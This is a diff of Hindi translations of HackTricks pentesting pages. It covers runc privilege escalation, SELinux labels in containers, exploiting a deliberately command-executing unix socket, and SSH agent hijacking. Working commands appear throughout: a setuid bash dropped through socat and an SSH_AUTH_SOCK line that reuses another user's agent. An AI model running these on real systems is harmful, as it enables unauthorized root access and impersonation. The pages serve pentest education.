- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को PR जमा करके।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो करें** [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग तरकीबें साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
## मूलभूत जानकारी
|
||||
## मूल जानकारी
|
||||
|
||||
यदि आप अधिक जानना चाहते हैं **runc** के बारे में, तो निम्नलिखित पृष्ठ की जांच करें:
|
||||
यदि आप **runc** के बारे में अधिक जानना चाहते हैं, तो निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
|
@ -26,7 +24,7 @@
|
|||
|
||||
## PE
|
||||
|
||||
यदि आपको लगता है कि `runc` होस्ट में स्थापित है, तो आप **होस्ट के रूट / फ़ोल्डर को माउंट करके एक कंटेनर चला सकते हैं**।
|
||||
यदि आप पाते हैं कि होस्ट में `runc` स्थापित है, तो आप **होस्ट के रूट / फोल्डर को माउंट करते हुए एक कंटेनर चला सकते हैं**।
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
@ -51,21 +49,19 @@ mkdir rootfs
|
|||
runc run demo
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
यह हमेशा काम नहीं करेगा क्योंकि runc की डिफ़ॉल्ट ऑपरेशन रूट के रूप में चलाना है, इसलिए इसे एक अनुप्रयोगी उपयोगकर्ता के रूप में चलाना संभव नहीं है (जब तक आपके पास एक रूटलेस कॉन्फ़िगरेशन नहीं है)। रूटलेस कॉन्फ़िगरेशन को डिफ़ॉल्ट बनाना आमतौर पर एक अच्छा विचार नहीं है क्योंकि रूटलेस कंटेनर्स के अंदर कई प्रतिबंध होते हैं जो रूटलेस कंटेनर्स के बाहर लागू नहीं होते हैं।
|
||||
यह हमेशा काम नहीं करेगा क्योंकि runc का डिफ़ॉल्ट ऑपरेशन रूट के रूप में चलाने का होता है, इसलिए इसे एक अनाधिकृत उपयोगकर्ता के रूप में चलाना संभव नहीं है (जब तक कि आपके पास एक rootless कॉन्फ़िगरेशन न हो)। एक rootless कॉन्फ़िगरेशन को डिफ़ॉल्ट बनाना आम तौर पर एक अच्छा विचार नहीं है क्योंकि rootless कंटेनरों के अंदर काफी सीमाएँ होती हैं जो rootless कंटेनरों के बाहर लागू नहीं होती हैं।
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, PRs को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में सबमिट करके।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें।
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# कंटेनर में SELinux
|
||||
# SELinux in Containers
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) एक **लेबलिंग** **सिस्टम** है। हर **प्रक्रिया** और हर **फ़ाइल** सिस्टम ऑब्जेक्ट का एक **लेबल** होता है। SELinux नीतियाँ निर्धारित करती हैं कि एक **प्रक्रिया लेबल सभी अन्य लेबलों के साथ क्या कर सकती है**।
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) एक **लेबलिंग सिस्टम** है। हर **प्रोसेस** और हर **फाइल सिस्टम ऑब्जेक्ट** का एक **लेबल** होता है। SELinux नीतियाँ नियम निर्धारित करती हैं कि एक **प्रोसेस लेबल क्या कर सकता है अन्य सभी लेबल्स के साथ** सिस्टम पर।
|
||||
|
||||
कंटेनर इंजन्स **कंटेनर प्रक्रियाओं को एकमात्र सीमित SELinux लेबल** के साथ लॉन्च करते हैं, आमतौर पर `container_t`, और फिर कंटेनर को `container_file_t` लेबल देते हैं। SELinux नीति नियमों का मतलब है कि **`container_t` प्रक्रियाएं केवल `container_file_t` लेबल वाली फ़ाइलों को पढ़ सकती/लिख सकती/चला सकती हैं**। यदि कोई कंटेनर प्रक्रिया कंटेनर से बाहर निकलती है और होस्ट पर सामग्री में लिखने का प्रयास करती है, तो लिनक्स कर्नल उपयोग अस्वीकार करता है और केवल कंटेनर प्रक्रिया को `container_file_t` लेबल वाली सामग्री में लिखने की अनुमति देता है।
|
||||
कंटेनर इंजन **कंटेनर प्रोसेसेस को एक अकेले सीमित SELinux लेबल के साथ लॉन्च करते हैं**, आमतौर पर `container_t`, और फिर कंटेनर के अंदर को `container_file_t` लेबल के साथ सेट करते हैं। SELinux नीति नियम मूल रूप से कहते हैं कि **`container_t` प्रोसेसेस केवल `container_file_t` लेबल वाली फाइलों को पढ़/लिख/निष्पादित कर सकते हैं**। यदि कोई कंटेनर प्रोसेस कंटेनर से बाहर निकलता है और होस्ट पर सामग्री लिखने का प्रयास करता है, तो लिनक्स कर्नेल पहुँच को अस्वीकार कर देता है और केवल कंटेनर प्रोसेस को `container_file_t` लेबल वाली सामग्री पर लिखने की अनुमति देता है।
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
|
@ -29,4 +27,19 @@ system_u:system_r:container_t:s0:c647,c780
|
|||
```
|
||||
# SELinux उपयोगकर्ता
|
||||
|
||||
नियमित Linux उपयोगकर्ताओं के अलावा SELinux उपयोगकर्ताएँ होती हैं। SELinux उपयोगकर्ताएँ SELinux नीति का हिस्सा होती हैं। पॉलिसी के हिस्सा के रूप में हर Linux उपयोगकर्ता को एक SELinux उपयोगकर्ता से मैप किया जाता है। इससे Linux उपयोगकर्ताओं को SELinux उपयोगकर्ताओं पर लगाए गए प्रतिबंध और सुरक्षा नियम और यंत्रों को अनुग्रहित करने की अनुमति मिलती है।
|
||||
सामान्य Linux उपयोगकर्ताओं के अलावा SELinux उपयोगकर्ता भी होते हैं। SELinux उपयोगकर्ता एक SELinux नीति का हिस्सा होते हैं। प्रत्येक Linux उपयोगकर्ता को नीति के अनुसार एक SELinux उपयोगकर्ता से मैप किया जाता है। इससे Linux उपयोगकर्ताओं को SELinux उपयोगकर्ताओं पर लगाए गए प्रतिबंधों और सुरक्षा नियमों और तंत्रों को विरासत में मिलता है।
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**।
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग तरकीबें साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> से!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## पायथन के साथ सॉकेट बाइंडिंग का उदाहरण
|
||||
## Python के साथ Socket binding उदाहरण
|
||||
|
||||
निम्नलिखित उदाहरण में एक **यूनिक्स सॉकेट बनाया जाता है** (`/tmp/socket_test.s`) और सभी **प्राप्त** जो कुछ भी हो वह `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आप इसे जंगली में नहीं मिलेगा, लेकिन इस उदाहरण का उद्देश्य यह देखना है कि यूनिक्स सॉकेट का उपयोग करने वाले कोड कैसा दिखता है, और सबसे खराब मामले में इनपुट का प्रबंधन कैसे करें।
|
||||
निम्नलिखित उदाहरण में एक **unix socket बनाया गया है** (`/tmp/socket_test.s`) और जो कुछ भी **प्राप्त** होगा वह `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आपको यह वाइल्ड में नहीं मिलेगा, लेकिन इस उदाहरण का उद्देश्य यह देखना है कि unix sockets का उपयोग करते हुए कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे संभालना है।
|
||||
|
||||
{% code title="s.py" %}
|
||||
```python
|
||||
|
@ -43,29 +41,27 @@ conn.close()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**कोड** को पायथन का उपयोग करके **चलाएं**: `python s.py` और **देखें कि सॉकेट कैसे सुन रहा है**:
|
||||
**कोड को निष्पादित करें** पायथन का उपयोग करके: `python s.py` और **जांचें कि सॉकेट कैसे सुन रहा है**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**शोषण**
|
||||
**एक्सप्लॉइट**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **या** मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,61 +1,65 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# सारांश
|
||||
|
||||
अगर आपको `/etc/ssh_config` या `$HOME/.ssh/config` कॉन्फ़िगरेशन में इस तरह का कोई भी खोज मिलती है, तो आप क्या कर सकते हैं:
|
||||
यदि आप `/etc/ssh_config` या `$HOME/.ssh/config` कॉन्फ़िगरेशन में यह खोजते हैं तो आप क्या कर सकते हैं:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
यदि आप मशीन के अंदर रूट हैं, तो आप शायद **/tmp** निर्देशिका में मिलने वाले किसी भी एजेंट द्वारा किए गए किसी भी SSH कनेक्शन तक पहुंच प्राप्त कर सकते हैं।
|
||||
यदि आप मशीन के अंदर रूट हैं तो आप शायद **किसी भी ssh कनेक्शन तक पहुँच सकते हैं जो किसी भी एजेंट द्वारा बनाया गया हो** जिसे आप _/tmp_ डायरेक्टरी में पा सकते हैं
|
||||
|
||||
बॉब की एक SSH-एजेंट का उपयोग करके बॉब की अनुकरण करें:
|
||||
बॉब के एक ssh-agent का उपयोग करके बॉब की नकल करें:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## यह काम कैसे करता है?
|
||||
## यह काम क्यों करता है?
|
||||
|
||||
जब आप `SSH_AUTH_SOCK` चर को सेट करते हैं, तो आप बॉब की कुंजीयों तक पहुंच प्राप्त कर रहे हैं जो बॉब के SSH कनेक्शन में उपयोग की गई हैं। फिर, अगर उसकी निजी कुंजी वहाँ अभी भी है (सामान्यतः ऐसा ही होगा), तो आप उसे उपयोग करके किसी भी होस्ट तक पहुंच सकेंगे।
|
||||
जब आप `SSH_AUTH_SOCK` वेरिएबल सेट करते हैं, तो आप बॉब की चाबियों को एक्सेस कर रहे होते हैं जो उसके SSH कनेक्शन में इस्तेमाल की गई हैं। फिर, अगर उसकी प्राइवेट की अभी भी वहां है (आमतौर पर होगी), तो आप इसका इस्तेमाल करके किसी भी होस्ट तक पहुंच सकते हैं।
|
||||
|
||||
निजी कुंजी एजेंट की मेमोरी में अविक्रियपन के रूप में सहेजी जाती है, मुझे लगता है कि अगर आप बॉब हैं लेकिन आपको निजी कुंजी का पासवर्ड नहीं पता है, तो आप अभी भी एजेंट तक पहुंच सकते हैं और इस्तेमाल कर सकते हैं।
|
||||
चूंकि प्राइवेट की एजेंट की मेमोरी में अनक्रिप्टेड सेव होती है, मैं मानता हूं कि अगर आप बॉब हैं लेकिन आपको प्राइवेट की का पासवर्ड नहीं पता, तो भी आप एजेंट को एक्सेस कर सकते हैं और इसका इस्तेमाल कर सकते हैं।
|
||||
|
||||
एक और विकल्प है, यह है कि एजेंट के मालिक और रूट उपयोगकर्ता एजेंट की मेमोरी तक पहुंच सकते हैं और निजी कुंजी को निकाल सकते हैं।
|
||||
एक और विकल्प यह है कि एजेंट का मालिक और रूट एजेंट की मेमोरी तक पहुंच सकते हैं और प्राइवेट की निकाल सकते हैं।
|
||||
|
||||
# विस्तृत व्याख्या और शोषण
|
||||
|
||||
**लिया गया है:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
**स्रोत से लिया गया:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **जब ForwardAgent पर भरोसा नहीं किया जा सकता है**
|
||||
## **जब ForwardAgent पर भरोसा नहीं किया जा सकता**
|
||||
|
||||
